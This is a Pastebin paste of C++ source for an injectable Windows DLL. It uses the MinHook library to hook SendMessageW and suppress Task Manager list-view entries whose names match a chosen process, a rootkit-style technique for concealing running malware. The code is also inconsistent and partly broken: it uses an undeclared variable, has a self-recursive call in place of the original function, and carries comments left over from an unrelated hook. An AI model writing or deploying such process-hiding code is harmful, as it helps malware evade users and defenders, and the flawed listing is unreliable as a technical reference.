Advertisement
Guest User

Untitled

a guest
Mar 23rd, 2017
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.00 KB | None | 0 0
  1. #include "stdafx.h"
  2. #include "C:\Users\Androide\Desktop\minhook\Dynamic\MinHook_133_src\include\MinHook.h"//MHook header
  3. #include <iostream>
  4. #include <windows.h>
  5. #include <Commctrl.h>
  6. #include <conio.h>
  7.  
  8. using namespace std;
  9.  
  10. typedef void (*SENDMESSAGEW)();//Typedef for the hooked function
  11. static SENDMESSAGEW Basewritefoobar;//Backup of the originak fonction
  12.  
  13. static const wchar_t *HOOK=L"";
  14.  
  15. LRESULT WINAPI BSSSendMessageW(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
  16. {
  17. if ( msg == LVM_INSERTITEMW || msg == LVM_SETITEMW)//Intercepts LVM_INSERTITEM and LVM_SETITEM messages
  18. {
  19. if (!lstrcmpW(((LVITEMW*)lparam)->pszText, hiddenprocess))//The lparam is a LVITEM* struct.
  20. {
  21. return 0;//If the item name is the same as process we want to hide, we simply return 0 (and we do not call the real SendMessage function.
  22. }
  23. //return 0;
  24. }
  25. return SendMessage(hwnd, msg, wparam, lparam);//Calls the real SendMessage function.
  26. }
  27.  
  28. static bool Hook();
  29.  
  30. template <typename T>
  31. inline MH_STATUS MH_CreateHookEx(void* target, void* const base, T** original)
  32. {
  33. return MH_CreateHook(target, base, reinterpret_cast<void**>(original));
  34. }
  35.  
  36.  
  37. extern "C" __declspec (dllexport) void __cdecl SendWrite()
  38. {
  39.  
  40. }
  41.  
  42. BOOL WINAPI DllMain(HINSTANCE hInst, ULONG ul_reason_for_call, LPVOID lpReserved)
  43. {
  44. //Different behaviors depending on the reason why DllMain is called
  45. switch (ul_reason_for_call) {
  46. case DLL_PROCESS_ATTACH:
  47. if (!Hook())//Hook "Writefoobar"
  48. {
  49. cout << "Hook failed" << endl;
  50. return 1;
  51. }
  52. break;
  53. case DLL_PROCESS_DETACH:
  54. break;
  55. case DLL_THREAD_ATTACH:
  56. break;
  57. case DLL_THREAD_DETACH:
  58. break;
  59. }
  60.  
  61. return TRUE;
  62. }
  63.  
  64. bool Hook()
  65. {
  66. if (MH_Initialize() != MH_OK)
  67. {
  68. return false;
  69. }
  70.  
  71. if (MH_CreateHookEx((void*)&SendMessageW, (void*)&BSSSendMessageW, &Basewritefoobar) != MH_OK)
  72. {
  73. return FALSE;
  74. }
  75. return MH_EnableHook((void*)&SendMessageW) == MH_OK;
  76. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement